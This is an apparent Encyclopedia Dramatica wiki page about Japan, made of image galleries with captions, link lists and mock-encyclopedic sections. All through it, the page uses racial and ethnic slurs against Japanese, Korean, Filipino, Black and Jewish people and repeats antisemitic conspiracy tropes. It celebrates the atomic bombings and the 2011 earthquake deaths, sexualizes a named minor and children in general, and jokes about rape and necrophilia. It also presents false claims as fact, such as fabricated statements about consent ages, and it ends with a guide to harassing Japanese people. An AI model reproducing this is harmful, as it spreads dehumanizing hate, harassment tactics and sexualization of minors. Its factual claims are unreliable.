Image:Whale_furry_nippon.jpg|The Japs disrespect whales in [[rape|more ways]] than one.
Image:Jap_dad-dead_baby_manta_ray.jpg|[[engrish|YOU BLING GLATE DISHONOL ON OUR FAMIRY YOU MUST BE PUNISHED]]
Image:Pantynomnom.jpg|Japan superior
Image:Fuckingjapanese.gif|Bananas? In my sanity?
image:Flamethrowersandjaps.jpg|Jewtubers speak the truth.
Image:Aishinozaki.jpg|Ai Shinozaki -- a typical Japanese girl. Apparent age: 20. Actual age (as of 2009): 17
Image:Wapanese.gif
Image:Japs Keep Moving.jpg|The proper way to greet a Japanese family moving into your area.
Image:Chop-suey-glasses.jpg|You too can be Japanese with these glasses.
Image:nicetomeetyou.jpg|It's like saying [[hentai|hello]] in Japanese.
Image:Toastfucking.jpg|Have a piece of that bread bitch.
Image:Nuke Explode.jpg
Image:japansex.jpg
Image:Hiroshima bomb.jpg|Fucking deserved it too.
Image:JapaneseUsedPantyVendingMachine.jpg|[[Sick Fuck|Japanese Used-Panty Vending Machine]]
Image:danglegirl.jpg|[[shibari|String them up!]]
Image:Rapetastik.png|[[Rape]]- in Japan, it's like saying hello!
Image:Analbukkake.jpg|Japan [[censorship|censors]] [[penis|harbl]] because it hates [[faggotry]].
Image:Japanese_watermelon.jpg|Japanese love fucking watermelons.
Image:Smackjaps.jpg
Image:US according to Japan.jpg|A typical example of how Japan views foreign nations.
Image:wtf1111.gif|Little-known Fact: Little Red Riding Hood was Japanese and partial to the nutz.
Image:Japanese_pastime.jpg|One of Japan's many engaging pastimes.
Image:Japanpokemonpedofags.jpg|Japs have small penis and pedos love it!
Image:Nyotaimori.jpg|Typical Japanese dinner.
Image:Aichoaniki-2.png|Typical Japanese [[video game]] design.
Image:Undersea_cables.jpg|Japan breaks the intrawebs.
Image:Weeabo wet dream.jpg|
Image:Fugakutakoika.jpg|Is it paradise?
Image:Vomit1.jpg|How the Japanese reproduce.
Image:Hellsyeah0wo.gif|[[fake|Reminds me of your mother's tits.]]
Image:Japanstache.gif|This is why people don't play the DS
Image:Nazi teardrops.JPG|Japanese [[Shimajiro|toilet training]]
Image:Japanesechristmas.jpg|Typical Japanese X-Mas Present
Image:Eggloaf.jpg|[[Milk bags|In Japan, eggs come in loaves.]]
Image:O_rry.jpg |[[O RLY?|O RLY?]] [[Engrish|ASIAN STYLE!]]
Image:Ironchef chairman kaga eating capsicum.jpg|The Immortal Emperor of Japan.
Image:SlaptheJap.jpeg|Remember Pearl Harbor.
Image:Yay_Hiroshima1945.jpg|Somebody set us up the bomb!
Image:Yay_Nagasaki1945.jpg|OMG! Somebody set us up the bomb too!
Image:TypicalAnimeFanatic.jpg|Typical anime fan
Image:Exciting35.jpg|Best way to kill them is with [[WRY|their own technique.]]
Image:Japmarine.jpg|To scale.
Image:GigaOmorashi.jpg|Typical Japanese girls
Image:Azn mans pasttime.jpg|How Japanese men spend their time.
Image:Sumo-911.jpg|[[Jews did WTC|Japan did WTC]]
Image:Eiffel Tower.jpg|Japan has the Eiffel Tower
Image:Boob machine.jpg
Image:Roflbot-FridayTsunami.jpg
Image:Loljapan.jpg|PANTSUUUUUUUUUUUUUU
Image:MaiShiranuiPlasticCrap.jpg|A typical collection doll in Japan.
Image:Japan_-_Terrifying_Children.jpg
Image:Japan_-_Japanese_Women.jpg|Typical Japanese military man.
Image:Homosexuality_in_japan.jpg|Typical Japanese television program.
Image:Boob_guns.gif|A common occurrence in Japan.
Image:Japanese_Cow_Milking.jpg
File:Experience.jpg
File:Wtf japanese butt gun.gif
File:Japanesescientist.jpg
File:Jap Hairstyles.jpg
File:Hiroshima Ambient Temperature.png
Image:Melancholy_Of_Haruhi_Suzumiya_-_Rape.jpg
File:Nov 2017 Gaijin vs real Japanese.jpg|Gaijin vs. real Japanese people in Japan--Nov 2017 during Trump's visit.
File:Jisforjap.gif
File:JapBitch.jpg|The most famous Japanese woman
File:Japmenfaptothis.gif|Jap men like ball-busting
File:AgroupofshyJapanesewomen.jpg
File:RANRANRU.gif|[[McDonald's]] gets involved in Japan, causing this bullshit used in [[YTPMV]] videos to happen
</gallery>}}
 
==[[World War II]] velly funny neh? [[ROFL|LOTFR]]==
 
<center>{{frame|<youtube>oBudU8BiQw4</youtube>
<center>'''Shit, Japan needs some better history teachers.'''}}</center>
 
{{cg||WWIIgal|center|<gallery>
File:WTF Japan-superior.gif|Japanese [[porn|air force]]
Image:Hitler kawaii.jpg|Hitler is SO kawaii!
Image:Roseanne hitler.jpg
File:Deathtrap.jpg
</gallery>|<gallery>
Image:Japnazi.gif|Flag of Japan with a [[rave|blacklight]] shining on it
Image:Ww2cosplay4.jpg‎
Image:Ww2cosplay2.jpg‎
Image:Ww2cosplay3.jpg‎
Image:Ww2cosplay.jpg‎
Image:Ww2toon6.jpg‎
Image:Ww2cosplay5.jpg‎
Image:Ww2toon5.jpg‎
Image:Ww2toon4.jpg‎
Image:Ww2toon3.jpg‎
Image:Ww2toon2.jpg‎
Image:Ww2toon1.jpg‎
</gallery>}}
 
== See Also ==
[[Image:Japantrap.jpg|thumb|Typical Japanese couple.]]
[[File:Glorious nippon merchant.jpg|thumb|100px]]
*[[Ganguro]]
*[[Animé]]
*[[Awwright]]
*[[Suicide#切腹 & 腹切 for the オタク|Hari kari]]
*[[Babyfuck]]
*[[Bukkake]]
*[[Chuoside]]
*[[Guro]]
*[[Domo-kun]]
*[[Necrophilia]]
*[[Nuclear War]]
*[[Mutsuo Toi]]
*[[An Hero]]
*[[Jimbo's Japan Tour, 2007]]
*[[Shimajiro]]
*[[Big Daikon]]
*[[Kato]]
*[[Japanese Bug Fights]]
*[[Sick Fuck]]
*[[Weeaboo]]
*[[I LIEK MILK]]
*[[Whale Wars]]
*[[Fukushima2012]]
*[[Herbivore]]
*[[August 6 & 9 1945]]
*[[Vicki Sigh]]

== External Links ==

[[Image:Mana from Malice Mizer.jpg|thumb|The ideal Japanese "man", 2012]]

*'''{{wikilink|Unit_731|'''Proof''' that the Japanese were sick fucks during WWII}}'''.
*[http://news.bbc.co.uk/2/hi/asia-pacific/3699516.stm Japanese women get boyfriend pillow]
*'''{{archive|Yhr98|Fucked-up Japanese Stuff}}'''
*[https://www.toxel.com/tech/2009/06/08/14-cool-vending-machines-from-japan/ Strange technologies.]
*[http://news.bbc.co.uk/2/hi/asia-pacific/4092345.stm Japanese men get pussy pillow]
*[https://www.reuters.com/article/newsOne/idUSSP10422420070718 Japanese men turn to sex dolls]
*'''{{ytlink|CKjaFG4YN6g|Japanese women get diarrhea}}'''
*'''{{archive|QpYem|Typical Japanese toys}}'''
*'''{{archive|btElf|Moar Japanese toys}}'''
*<s>[http://www.pornhost.com/7616302885/ Furries and a clown raping a crying Japanese girl while their privates are blurred out. Only in Japan...]</s> (dead)
*[https://www.ep.tc/howtospotajap/ How to spot a Jap]
*[https://web.archive.org/web/20090207052240/https://www.dailymail.co.uk/sciencetech/article-1137747/Mini-Me-The-robot-doll-looks-sounds-just-like-you.html Get a Japanese pedo doll made...of your likeness!]
*<s>[http://efukt.com/2292_Unwanted_Public_Facials_3.html Jerking off on women in public. Oh, Japan, you so crazy.]</s> (dead)
*[https://theindependent.sg/japanese-mans-first-love-is-a-cockroach-he-imagined-having-sex-and-ate-it-when-it-died/ Japanese man falls in love with a cockroach]
*[https://japantoday.com/category/features/why-the-japanese-are-superior-people Why the Japanese Are a Superior People]
*[https://www.theguardian.com/world/2015/oct/27/japan-urged-to-ban-manga-child-abuse-images "Japan urged to ban manga child abuse images"] – will [[lolicon]] also be banned?
*[https://soranews24.com/2017/03/03/kanagawa-mans-body-found-one-month-after-death-in-a-six-ton-pile-of-erotic-magazines/ Jap "crushed to death by six-ton porn collection"]
=== Videos ===

[[File:Jap Fur.jpg|thumb|Japan does [[Furfag|Furries]].]]

*'''{{ytlink|5PHENQiJFzI|WTF milk}}'''
*'''{{ytlink|yi7YU42TQn4|Typical Day For The Average Japfag}}'''
*'''{{ytlink|n3Jr9YtQ0Vg|Even Popeye hates those sneaky Japs}}'''
*'''{{ytlink|lSEuMumOv0M|A typical Japanese commercial}}'''
*'''{{ytlink|mOrZX2858e8|Proof of Japan's great grammar - Miso Soup - with accurate subtitles...}}'''
*'''{{ytlink|SZzjw2UfUEk|National Anthem of Japan sung by a nigger}}'''
*{{UkrED|Японія|UkrDramatica's article on this}}
*<s>[http://www.pornhub.com/view_video.php?viewkey=8d52a769e640ab7fee93 A day with a Japanese girl.]</s> (dead)
*<s>[http://www.pornotube.com/media.php?m=32561 What the Americans came up with in response to weird Japanese porn]</s> (dead)
*<s>[http://www.redtube.com/5583 Just another day in Japan]</s> (dead)
*'''{{archive|pkYyC|}}'''
{{clear}}

{{japan}}
{{azn}}
{{Commonwealth}}
{{Hentai}}
 
{{timeline|Article of the Now July 9 and 10, [[2022]]|[[Boris Johnson]]|{{PAGENAME}}|[[Hunter Biden]]}}
[[Category:Japan]]

{{Timeline|Featured Article January 10 and 11, [[2024]]|[[Viper]]|[[{{PAGENAME}}]]|[[Rina Palenkova]]}}

Japan

2026-07-23T21:54:06Z

SmidgeX2:

:''"[[Jap]]" redirects here. For [[Jewish]] [[American]] [[Disney|Princess]], see [[Kikes]].''

{{offended}}
{{Gook}}
{{achtung|FORMER JAPANESE PRIME MINISTER <s>GOT</s> WAS SHOT DURING A CAMPAIGN AND WILL SOON BE WORM RIDDEN}}
{{Warning|JAPAN HAS RAISED THE AGE OF CONSENT FROM 13 TO 16}}
{{breakingnews|[https://www.japantimes.co.jp/news/2015/07/15/national/crime-legal/hit-global-criticism-japan-bans-individual-possession-child-porn-images-manga-exempt/#.VaYNdfmqqlQ JAPAN BANS POSSESSION OF CHILD PORN]}}
{{spoilers|JAPANESE MEN COOK THEIR OWN [[Penis|GENITALS]] AND [[HA HA HA, OH WOW|EAT THEM]], JAPANESE DAOYU ISLAND OWNER IS A CORRUPTED [[Pedophile|PEDOPHILE]] CAPITALIST, HIS WIFE TRIED TO [[AN HERO]], AND [[Liar|HE LIED OVER 9000 DOLLARS FROM ALL JAP AND OTAKUS!]]}}

[[File:Crappingoutjapan.jpg|thumb|As always, [[South Korea]] best explains the origin of the Jewpanese Islands.]]
[[File:Japanese family.jpg|thumb|Typical Japanese family]]
[[File:1339001142310.jpg|thumb|The Japs now thank the Atomic Bomb in making their [[Shit|art]] [[Anime|a]] [[Hentai|lot]] [[Guro|better]].]]
[[Image:Japaninanutshell.jpg|thumb|[[Evolution]]]]
[[File:The "shi" creators.jpg|thumb|350px|Japanese with name containing "[[2 girls 1 cup|shi]]", creates great things.]]
[[File:Japanesepenis.gif|thumb|350px|Japanese men have small dicks]]
[[File:norapenobase.jpg|thumb|350px|Japanese women require American Army Dick and will withhold base to get it. No rape? Then no base!]]
'''The Democratic People's Republic of Animestan''' (also known as '''Jewpan''', '''[[Weeaboo]]topia''' and '''Nuclear Testing Site''') or more commonly known [[Politically correct|politically-correct]] as '''Japan''' is a totalitarian fifth-world dystopia on a radioactive wasteland in the Pacific Ocean with less sanity and human rights than even [[Best Korea]]. It is best known for being the inventors of [[anime]] and therefore being the #1 cause of [[Asperger's Syndrome]] on the planet. Their [[Basement-dweller|men]] are autistic [[sick fuck]]s who enjoy raping [[loli|little girls]], and their women are [[Whore|gold-digging]] pathological liars who would rather go marry and scam rich foreigners than fuck their own manchildren back home.

Japan is basically to Asia what [[Israel]] is to the Middle East. Both are ruled by racist criminal mobsters (Yakuza vs Zionist Illuminati) and have a history of both being genocided (Hiroshima and US concentration camps vs Holocaust and German concentration camps) while committing genocide at the same time (Koreans are Japan's Palestinians). Every single nation in Asia (with the sole exception of the Japanese's loyal sex slaves, the [[Philippines|sea niggers]]) hates Japan and would want to erase this microstate of degenerates off the Earth if not for the [[Jewnited States]] giving them military equipment... again just like Israel. Japan's current military is the 9th strongest in the world, but there are some bases that are still [[All Your Base Are Belong To Us|used by Americans]], again, just like Israel. ''And for the last time, just like the Kikes'', the Japs control the Internet media through their use of viral [[meme]]s and [[hentai|degenerate entertainment]], but the Jews at least won't resort to shitty cartoons (unless you're [[MLP|Lauren Faust]]) to mind control half the human population into instant [[retard]]s. Japanese women are also known as [[Hillary Clinton|filthy amoral and borderline-sociopathic]] [[feminists]] who have an obsession with your [[Jew Gold]] and will only date you so that she can blackmail you for money (e.g. the Chikan false rape accusations) then Hannibal-Lecter you into suicide. Wonder if all Japs need a massive nose to pass them off as kikes.

[[File:Russian roullete.jpg|thumb|350px|For the record, some toys from Japan look like this]]

Japan is a perfect example of [[b/|"not-as-good-as-it-used-to-be."]] Before being raped by the atom bomb, Japan was busy doing just that to [[Ireland|inferior countries]], but with a Katana instead of the mighty power of the atom. After the USA's rampage, however, it degraded into what you see now. Most of Japan's population has [[aspergers]] caused by the radioactive [[PWNED|bombs we dropped on their asses]]. That—combined with the fact that every Japanese man, woman, and child is on [[crack]]—explains why everything Japan makes is so fucking weird. But somehow, Japan loves [[Germany]]: the whores want to suck Hitler's dick while he himself called them honorary Aryans. The most plausible theory on why [[Hitler]] could love who amounts to Asian Jews is because the Japanese used to be a bunch of strict decent honorable and civilized humans until a [[Albert Einstein|Jewish aspie]] invented the nuke [[IDIFTL|for Science]] and therefore spread his radiation upon the entire Japanese population, mutating them all into the Aspie Jews they are today.

Japan is known for being the country with the lowest calculated crime rate in the entire universe. Which isn't that surprising when you think about it, since Japan doesn't count drug dealing, prostitution, necrophilia, pedophilia, weapon dealing, extortion, blackmail, cannibalism, male rape, and Yakuza (Japanese impersonators of Elvis) gang wars as "crimes".

Japs rarely exceed 150 cm in height. Most Japs would much rather be white, and some undergo limited ''caucasiaplasty'' to this end. Also, since they [[Pro-Ana|have a very light diet]], the vast majority of Japanese [[wimmins]] have no [[tits]]. The few who have large tits end up as [[whores]], which explains why porn of titted Japs exists. Theoretically, this could be solved with a little whale milk, but since they [[Whale Wars|kill whales]] just to be [[conservative]], they produce a nice duality, as an endangered Pacific string bean that's good for nothing and an endangered Pacific tub of lard that's good for nothing.

To their credit, they create good cameras and televisions and have invented flash memory that is used in USB sticks.

{{archive|zF8JL|An expert describes why Japan is so full of fail (TL;DR)}}

[[Image:Anti-jp.jpg|thumb|Bestselling Sign in Asia.]]

==[[World War II|History]]==
Japan was founded at least 100 years ago during the time of Adam and Eve and the dinosaurs, way before Jesus. The first emperor of Japan was Jimmu, crowned in 600BC. The most famous emperor of Japan was Hirohito (Showa).

[[Image:Hiroshima_bomb.jpg|thumb|left|pwnt]]
[[Image:Japanese Woman cuts off Chinese penis.gif|thumb|Japanese conducted torture and mass experiments on Chinese during [[World War II]], and their women castrated the entire Chinese male population. Here a Japanese woman cuts off a [[Chinese]] man's [[penis]].]]

{{quote|It really surprised me that the Japanese sided with the Nazis during World War II. They're usually so polite.}} 

After having messy [[buttsecks]] with [[Hitler]], Emperor Hirohito sent his buttboy, Tojo, and troops into Korea to buy Tamagotchis. The Japanese soldiers proceeded to rape, pillage and [[bukkake]] the Koreans and Chinese to near-annihilation. Afterwards, the Jap troops then proceeded to fuck the corpses of the women they killed.

President Roosevelt sent a telegram to Hirohito requesting [[buttsecks]] too, but due to a mis-translation, the Japanese flew over Pearl Harbour and sunk a few battleships by dropping Mitsubishis and Pocky from their Gundams.

Your grandmother decided it was a good idea to build some bullets and bombs, but the United States needed someone to test the bombs on, and who better than a bunch of antagonistic slopes? [[Americunts]] considered fighting them hand to hand, but decided Japs weren't even worth the time. [[truth|The nukes were a most practical and efficient way]]. So Truman [[and nothing of value was lost|pwned the fuck out of Hiroshima on August 6th, 1945.]] But that cunt Tojo wouldn't surrender. To shut Japan the fuck up, Truman [[pwnt|bombed]] [[Shit no one cares about|Nagasaki]] three days later, [[for the lulz]].

Japan surrendered, and to this day have been the bitch of the [[America|USA]].

Fun Fact: The Epicness of the bombings would continue to show for years to come as [[over 9000|hundreds of thousands]] of civilians died from [[Epic Win|horrifying radiation poisoning, hideous mutations]] and other shit nobody cares about, except for Koreans who rightfully point and laugh every chance they get.
[[Image:typical_japfag.jpg|thumb|left|Typical japfag]]

==The Japanese are an Endangered Species==

[[File:Rapistgook.png|thumb|left|The [[typical]] Japanese salaryman, a lowly degenerate pedophile with no concept of morals.]]
[[Image:Jap_pop_chart.png‎|thumb|100px|The Japanese: an Endangered Species]]
[[File:Sumo Love.jpg|thumb|Why Japs don't have sex]]
[[Image:Autojerker.jpg|thumb|Also why Japs don't have sex]]
[[File:1071358018863.jpg|thumb|They literally never have sex]]
[[File:Friendmaker.png|185px|right]]

With poetry skills to rival even the most hardened [[emo]], Japan was once the world's foremost macho culture. Big mustaches, leather clothes, manly sex between friends in bath houses—it was all there. Nippon is also the land of the Hot Babe. In Japan, the streets teem with the same seething, supple-limbed female honeys for which the Land of the Rising Sun has always been famous -- ''and each and every one of them longs for a real man to [[guro|Put It To Her]] the good old fashioned way''.

That is, until the Kikes and their [[America|imperialist]] [[England|ambitions]] came. The Kikes wanted to fuck all of the hot wahmen, only to find angry Samurai ready to chop their dicks off for trying. So, they turned to using Britain to bankrupt China during the Opium wars. Japan, not wanting to be bankrupted by Jew degeneracy as China was, became best friends with [[Hitler]]- a man who [[Weeaboo| admired them as Honorary Aryans with better culture than his own German race]]. Because of this, the Jewnited States dropped the nuke of retardation that changed Japan forever.

[[truth|It is a proven fact that the only real men left in Japan were killed in WWII and as a result, the Japs are not even having enough children to make up for the annual number of deaths: they are an endangered species]] [see chart -- yes, it's for real]. They are now forced to import [[Niggers|Filipinos]] in a vain attempt to make up the difference.

Now all the men in Japan look like women and [[gay|actively play the part]]. Instead of boning the most fabulous babes on earth and breeding a new generation of ass-whipping samurai, these quasi-men prefer whacking off to cartoon characters getting their heads eaten, playing with toys, and spending hours at a time in deep ass play.

One of the contributing factors of the population decline is that of all of Chinks, modern Japanese men have the smallest penises(notice how all of the japs in this article have micro dicks). As a result, Japanese girls have become ruthless feminist gold diggers who will only use the men for money then leave them to die off once they have outlived their usefulness. But despite being feminists Japanese women crave the slightly bigger White cock or the [[lie|giant]] [[The Great Black Dick Hoax|Black Cock]] and are completely submissive to [[White]] and Black men. Yes, even though the Japanese are famously [[racist]] against {{wayback|http://nsjap.net/|20050628013438|title=every other race}}, this need not rule out even the spottiest [[Ginger|Irish]] or fattest American [[Star Trek]] geek as long as they have the cash and/or cock they want.

The men, due to brain cancer and mental retardation caused by the radiation, became [[sick fuck]] necrophiliacs that like to kill and rape female corpses and masturbate to schoolgirls in thigh-high socks getting strangled with their own entrails. Even Japan knows that [http://www.sankakucomplex.com/2011/01/13/third-of-young-japanese-men-hate-sex/ 1/3 of Japanese men hate sex] and thus because of [[Kike|Einstein]], it has always been this way.

[[Pedophilia]], like guro and necrophilia, is not only accepted in Japan, but also compulsory. The '''{{archive|oBrB|age of consent in Japan}}''' is 13, but usually it actually happens around the age of six. [[At least 100|110%]] of Japanese men are pedofags. [[CP]] is the leading export of Japan and they plan to spread it across the world. Many students have open relationships with their teachers and when the Japs heard that the teachers, coaches and priests from Jewmerica back in early 2000s were molesting little children, their response was "We can do better than that." None of this helps the birth rate, however because these cowardly microdick fucks don't have the balls to fuck a fertile adult or teen bitch. Their birth rates continue to drop and if we're lucky enough to see <s>Susanowo</s> Poseidon throw another lulzy tsunami at these tojos, this entire country of degenerates is expected to die out by 2030.

==FFFUUUCHKA YOUU WWAAAHLEEARU !!!!!!!!!==
:''For more details, see: [[Whale Wars]]''
[[Image:Japan Australia whaling.jpg|thumb|left|100px|Japan vs Australia in countryball form.]]
Japan's favorite pastime, other than [[bukkake]], raping corpses, and working until their eyes and brain bleed from not sleeping, is viciously slaying the evil whale and/or dolphin menace. In fact the whole reason behind their space program is so they can be [[Futurama|whalers on the moon]].

[[Last Thursday]], the [[Australia|Australian]] government asked Japan to stop <s>whaling</s> [[beastiality|harvesting whales for science]] in Australian Antarctic waters, because you should only kill endangered species in your own country.

[[BAWWW|Being a teeny-tiny bit sensitive to criticism]], Japanese [[JewTube|YouTubers]] and their [[Wapanese|sympathizers]] proceeded to hurl every bizarre insult at Australia that they could think of through the medium of KikeTube comments and [[TL;DW]] videos—in [[Engrish|hilariously broken English]]. It would appear that Australia only cares about animals that look cute—they are [[lolwut|kangaroo-killing hypocrites]], who want to destroy the Japanese culture like they did to the [[Aboriginals]]. This is totally OK.

How Aussies telling the Japs to GTFO of THEIR waters will stop them is unclear at this point. But much like the Chinese civilians after the last Japanese invasion of China, the Aussies are clearly [[asking for it|asking for a decapitated-neckhole rapin’]].

Most Aussies won't argue that whaling is better than the Japanese soldiers [[vore|eating]] prisoners of war. [[Wikipedia:Japanese war crimes#Cannibalism|Read all about it!]] (Also note how long the list of war-crimes is.)

==[[Japan Crisis of 2011|Lulzy Earthquakes]]==

[[Last Thursday]] Japan was hit by a [[Hæti|huge earthquake]] of [[over 9000]] magnitude. This, of course, is not surprising because Japan is about as prone to natural disasters (magnified by their own [[derp|retardation ]]) as [[Africa]] is to [[AIDS]]. To amplify the mental retardation, they built nuclear reactors close to the shoreline. Oh Japan, you so craaaaazy.

What is surprising, however, is that one of the world's richest nations has completely failed to prepare for this inevitable pwning by GodJesus and as a result, civilized countries like [[Isreal]] and the U.S. must lend the Japanese tree fiddy, so that they can rebuild all the animu studios and child sex factories destroyed by the disaster.

The earthquake did however, kill thousands of Japs. This granted those Japs their sexual fantasies and their radioactive corpses served as the sex toys for the survivng Japanese. Rumor has it that some of the Japanese are still skull-fucking their bones today.

[[Image:Nuclear Simpsons.jpg|thumb|Where off switch?]]

[[Image:Japantsunami.jpg|thumb|Pwnt by a tsunami minutes after being pwnt by an earthquake and then getting pwnt by radiation]]

==[[Wapanese|Japanophiles]]==

[[Image:Cosplay.jpg|thumb|Every [[cosplay]]er ever]]
[[Image:Wtf_Japanese_butt_gun.gif|thumb|Japanese technology is being adapted to deter rapists and [[Weeaboo]]s]]

The purest form of [[faggotry]]...

[[Weeaboos|Japanophiles]] are [[White|western people]] who love everything to do with Japan, even the [[creepy]] shit, like the coin-operated panty dispensers and [[ganguro|blackfaced, autistically screeching wahmen]]. They are usually [[fat]] and [[Basement dweller|socially inept]] (male), or fat and [[retard|delusional about their looks]] (female) and can be identified by their ''[[Cowboy Bebop]]'' ([[Naruto]] [[lie|is the new coolect animu evar that will still be popular in 100 years!]]) wallscrolls, appreciation for [[J-pop]] and insistence on [[cosplay]]ing. Not to mention walking around the city with a fucking [[Pocky]] sticking out of the mouth. Many [[Wapanese|Japanophiles]] are to be found at Colleges such as Earlham and Oberlin, where they form [[anime]] clubs and dress up like [[furfags|retarded faggy space elves with fox ears and capes]].

Japanophilia is not to be confused with [[pedophilia]], as there are several key differences. For example, [[ohbutyouwillpet|pedophiles]] are obsessed with making love to children whereas [[Applemilk1988|weeaboos]] are obsessed with <s>Anime</s> degeneracy, writing with chopsticks, [[Bittorrent|downloading gigabytes]] of [[hentai]] and annoying the fuck out of you at parties by [[TL;DR|talking at length]] about their [[Bullshit|interpretation]] of ''[[Neon Genesis Evangelion]]''. Both, however, masturbate over [[Lolicon|pictures of schoolgirls]].

Weebfags do not reproduce by [[Secks|conventional means]]; most die as [[virgin]]s and those that do not are usually imprisoned for [[rape]]. Instead, they use the [[internet]] to influence vulnerable teenagers to watch episodes of ''[[Animu|Trigun]]'' before leading them on to the [[Erection|harder]] (and [[Computer Science III|less comprehensible]]) [[Crap|stuff]]. Soon the [[anime]] [[meme]] has infected the poor teen's [[brain]] and he has become a mindless Japanophile too.

The Japanophile's life cycle can end three ways; either dying an elderly virgin surrounded by small plastic figurines that cost hundreds of dollars each, being raped to death in prison (oh, [[teh]] [[irony]]!) or committing [[Suicide|IRL self-pwnage]] after arriving at Japan and discovering that it's not full of enormously-breasted women who want to sleep with pasty, gaijin lardballs. The [[NOVA|last words]] of the latter Japanophiles are usually "[[Megatokyo]] lied to me..."

FUN FACT: [[irony|Converse to how Weeaboos dry hump anything to do with Japanese culture, western culture is actually popular among Japanese teenagers]]. Proof of this is displayed with how many Japs dye their hair blonde and speak English.

==Japanese Language==
[[Image:Commit Sudoku.png|thumb|400 px|<s>Seppuku</s> SUDOKU!]]
[[Moonspeak|Japanese]] is a language learned by [[Weeaboos|retards]] affected by severe [[Filthy Frank|Pink Guy Disease]] who claim that they're learning it because they "enjoy Japanese culture" when they're actually enjoying [[Animu|anime]]. The "Japanese culture" they enjoy learnin' about can also involve Japan's most dark stuff, like Shintoism/Buddhism and other false gods, ritualistic suicide, Unit 731 (a chemical/biological warfare research unit in a Japanese puppet state), and of course, ''all those damn earthquakes, floods, and other weather shit.''

For their years of rigorous training, Japanese language teachers get to instruct unmotivated American teenagers with [[Filthy Frank|Pink Guy Disease]] and/or [[Acute Cultural Conformist Syndrome]] in the basics again and again while one half writes ''[[Ouran High School Host Club]]/[[Harry Potter]]'' [[crossover]] [[fanfiction]] in class and the other watches the latest fan-subbed ninja fan-service anime on their [[mac|$2,000 laptops]]. Even though a tiny percentage actually finish the course, they have no real use for it other than fansubbing [[anime]] or re-translating a ''[[Final Fantasy]]'' game. If you're hopeful, ''at least'' a very tiny amount of those weens will cheerfully master Japanese to work as humble, cheerful overseas protestant Christian pastors, '''as only 1% of Japs in the ENTIRE NATION claim to be Christians. This is absolutely true.'''

[[fail|This is a worthwhile use of their time since at least 99.05% of American translators are close-minded]] [[Elite|Worldwide Tech Oligarchy]] supporting, marxist AmeriKKKans who are unable to understand the elevated cultural value of Japanese children's cartoons]]. As strange as it sounds, the last sentence is not irony. No, it's just stupid.
[[Image:Google_Translate_Engrish.png|thumb|341 px|[[Google]] Transrate fails, defaults to [[Engrish]]]]
In addition to speaking their [[Moonspeak|native tongue]], the Japanese also speak an interesting language called [[Engrish]], which can be seen on many slave-produced billboards and products.Their writing system consists of over 9000 brain-exploding, complicated symbols stolen from [[Taiwan|Tiny China]] by anime [[pirates]]; only a few simplified ones are used in their alphabet, and naturally took on the appearance of destructive whaling harpoons, deadly katanas and morally toxic dildos of all kinds/every dildo known to men.

In the video section, please to find a Demo of their so called... ":*(&^%$^ENGRISH^$%^&)*:" It has an accurate subtitle...

===How to get around in Japan===
[[Image:Japanese period.jpg|thumb|150px|Japanese Flag]]
Since we at ED care about your Japanese experience, we've collected some useful Japanese phrases you can use when you meet a Jap!

*''Boku/Pocky wa _________'' - My name is ________.
*''Kyokon dii~rudo wo tabetai'' - I would like to eat some delicious cake.
*''Sono shimbun wo kaimashita'' - I am not fluent in Japanese, can we speak English?
*''Kimi no imouto wo reipu shitai'' - Please take a seat over there...
*''Anime wo mitari, manga wo yondari shitai'' - I want to do things like watch anime and read manga.
*''DESU DESU DESU DESU DESU'' - I am not a Weaboo, now will you stop looking at me like that?
*''Chin-chin wo namesaseruzo'' - Problem, officer?

==How To Troll Japs==
[[Image:orangebear.jpg|thumb|right|160px|[[Serious business|Yeah]].]]
[[File:Neko Cock.gif|thumb|Beckoning.]]

In what could be one of the most hilarious cases of Irony of all time, the most expertised in trolling the Japanese, are in fact, their own demonspawn, the [[weeaboo]]s, even if they aren't doing it intentionally. The Japanese want to present themselves to the world as civilized strict people and do this by shunning NEETs (euphemism for [[aspie]]s) and putting them in mental hospitals but once a fat wapanese dressed in a Sailor Moon costume and smells of Pocky lands shouting "BAKASUGOIKAWAIIDESUNE" everywhere and raiding used Japanese schoolgirls' panties, the masquerate of discipline is shattered and reveals Japan for the aspie-infested [[lolcow|laughing stock of the world]] that it is. This is why, if you ever meet a person who is decently mannered and seems normal, but reveals he is in fact Japanese, then binge yourself on [[4chan]], [[TV Tropes]], [[Pokemon]] and the most disgusting Hentai you can ever find on the Internet, inform everyone of the truth and in front of the Jap reenact everything in a barrage of Sugoikawaiibakadesune ala [[Chris-chan]] on steroids. With everyone knowing that this disgusting autistic shit is Japanese Culture, he will definitely be humiliated forever and possibly bullied to [[suicide|harakiri]].

Of course, using this tactic is like a Palestinian strapping a suicide bomb upon himself to kill Kikes, since if your audience is too short-sighted then they may assume you, not him, as the aspie. There are less effective, but safer methods, however.

*Say anything good about Korea (both Koreas), anything at all.
*Say that Zettai ryouiki is [[overrated]]. (Really it is)
*Tell them how Dokdo and Diaoyu are parts of Korea and China, Iturup, Kunashir, Shikotan are parts of Russia and "Takeshima" & "Senkaku" are just [[pussy]] land grabs.
*If you're a female, don't wear thigh-high socks, pantyhose, or other hosiery. Japs are Arabs with legs and despise uncovered legs with a fiery hate. Going bare-legged to the Japanese is considered the ultimate blasphemy and worse than murder. They will kill any girl that doesn't and rape her corpse.
*If you produce hentai, never draw any character wearing thigh-high socks, pantyhose, or other hosiery. (WARNING, you might get killed.) If you're Japanese doing this will be considered the highest of highest treason in Japan.
*Tell them that Hiroshima and Nagasaki were the happiest moments of the HUMAN race. Yes, Japs are retarded evil monkeys designed by [[Xenu]]
*Tell the Japanese that they are now America's economic bottom bitch despite the fact that they are one of the most wealthy nations in the world. That's what they deserved for trying to over-expand their borders during WWII and then getting pwned by Amurika!
*Spell the Japanese capital with an 'i' instead of a 'y'.
*Post a picture of a nuclear explosion with the caption "[[pwnd]]".
*Post a picture of Japanese internment camps with the caption "[[pwnd]]". For more lulz, praise Michelle Malkin's book of Japanese internment.
*Deliberately confuse them with [[Korea|Gooks]].
*Talk to them in Korean or Chinese, and expect them to understand you completely.
*Say karaoke is Korean.
*Call them "Japs", "[[Azn]]", or [[Pokemon|Pokeymanz]].
*Show 'em this (although they might fap to it):
 
<center>{{frame|<youtube>sOFg8oWMHRM</youtube>
<center>'''So [[kawaii]], amirite?'''}}</center>
 
*Produce hentai without Zettai ryouiki (and all other hosiery and thighhigh legwear) AND without death, guro, and snuff.
*Say that you learned Japanese tradition through [[anime]].
*Tell them that China can invade Japan at any time.
*Tell them that North Korea can Nuke them at any time.
